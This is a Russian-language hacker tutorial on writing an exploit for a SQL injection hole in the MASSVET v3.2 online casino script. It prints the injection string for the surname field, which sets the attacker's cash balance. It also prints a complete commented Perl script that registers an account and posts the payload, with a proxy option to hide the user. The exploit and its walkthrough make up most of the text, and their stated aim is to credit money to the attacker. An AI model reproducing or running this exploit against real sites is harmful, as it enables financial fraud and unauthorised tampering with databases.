Итак, допустим вы нашли уязвимость и очень хотите написать под неё сплойт... Для примера я возьму уязвимость найденую нашей коммандой в казино MASSVET v3.2
И так сначало разберёмся с уязвимостью, как написано в пояснении к эксплойту, он работает только при отключенных magick_quotes_gpc.
Ошика вызвана тем, что вводимые в форму данные не фильтруюца на возможные знаки используемые в SQL запросах т.е. символы - "'" и "`".Этим мы и воспользуемся ;)
Т.К. у нас на руках были исходники, был выбран самый удобный запрос для пополнения баланса, он находился в поле ФАМИЛИЯ при регистрации.
Составляем запрос: У нас есть запрос на UPDATE в который нам нужно не много вмешаться =) и так основы SQL-INJ я обьяснять не буду, т.к моя статья по этой теме на хакзоне есть...
Автор Казино сделал за нас пол работы =) нам остаётся только указать какое значение какому столцу поставить ))) Вот что мы вводим в поле ФАМИЛИЯ =) - ',cash='".$cash."' where login='".$login." Где переменная $cash - сумма нужная нам, а $login - наш логин.
Терь перейдём к эксплойту, я его просто прокомментирую ) #!/usr/bin/perl
## Massvet интернет казино - удалённое пополнения баланса! ## Уязвимые версии 3.2, возможно более старые, с выключеным magicquotes ## Проверено на версии 3.2 ## ## writed bu G1UK ## CFTeam
use LWP::UserAgent; #Подключаем модуль (я его использовал для того чтобы не возиться с Сокетами) use Getopt::Std; #Модуль для получения параметров их cmd или shell'a use HTTP::Cookies; #Модуль для работы с куками
getopts("h:d:l:p:c:x:"); #Обазначаем порядок приёма переменных из коммандной строки
$host = $opt_h; # $dir = $opt_d || '/'; # $login = $opt_l; # $pass = $opt_p; #Обазначаем что означает каждая введенная из cmd #переменная значит $cash = $opt_c; # $proxy = $opt_x || ''; # logo(); #
if(!$host||!$login||!$pass||!$cash) { help(); } # Если не введена какая-то из переменных, вызываем функцию help
$cook = LWP::UserAgent->new() or die; #Создание нового подключения с #использованием модуля LWP $cookie = HTTP::Cookies->new(); #Создание новых кук $cook->cookie_jar( $cookie ); #Загоняем куки в переменную $cookie $url=$host.''.$dir; #Формируем url для запроса. $cook->proxy('http'=>'http://'.$proxy) if $proxy; # Если установлен прокси, то используем его
printf "Registering =)rn"; $res = $cook->post('http://'.$url.'reg.php', [ "r_login" => "$login", "r_pass" => "$pass", "r_email" => "1", "send" => "1", "submit"=> "Сохранить" ]); #Важный момент в эксплойте!!! Отправка пост запроса на регистрацию в интернет казино. print "Registering OKrn";
print "Edit you cash =))rn"; $res = $cook->post('http://'.$url.'lobby/config.php', [ "cpass" => "$pass", "cname" => "", "cfam" => "',cash='".$cash."' where login='".$login."'/*", "send" => "1", "Cookie" => "PHPSESSID=".$sid ]); #3 важный момент - отправка запроса на изменение фамилии с #встроенным SQL запросом print "Check out you cash =)rn";
sub logo() #Функция лого, чтобы знали кто писал =) { print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn"; print "Massvet internet casino v3.2 sql injection cash exploit by CFTeamrn"; print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn"; }
sub help() # Функция help, чтобы знали как пользоваться. { print "CFteam.pl -h -d [dir] -l -p -c -x [proxy]rnrn"; print " - Host where cazino installed for example - www.massvet.rurn"; print "[dir] - Directory, where cazino is installed /cazino/ for examplern"; print " - User name for registrate rn"; print " - Password for registrate rn"; print " - How much you need? (00.00)rn"; print "[proxy] - For you safety rn"; exit(); }
Как вы видите функции были использованы только для токо, чтобы исходный текст был проще читаем, т.е их использование не обязательно.
Как видите ни чего сложном в этом нет, давайте распотрошим один из POST запросов, для того чтобы всё стало понятным. $res = $cook->post('http://'.$url.'lobby/config.php', [ "cpass" => "$pass", "cname" => "", "cfam" => "',cash='".$cash."' where login='".$login."'/*", "send" => "1", "Cookie" => "PHPSESSID=".$sid ]);
Что происходит здесь
Мы говорим, что это ПОСТ запрос $cook->POST
Говорим что нам надо отправить формы cpass cname cfam send cookie, последнее это значение из КУК, где установленна наша сессия.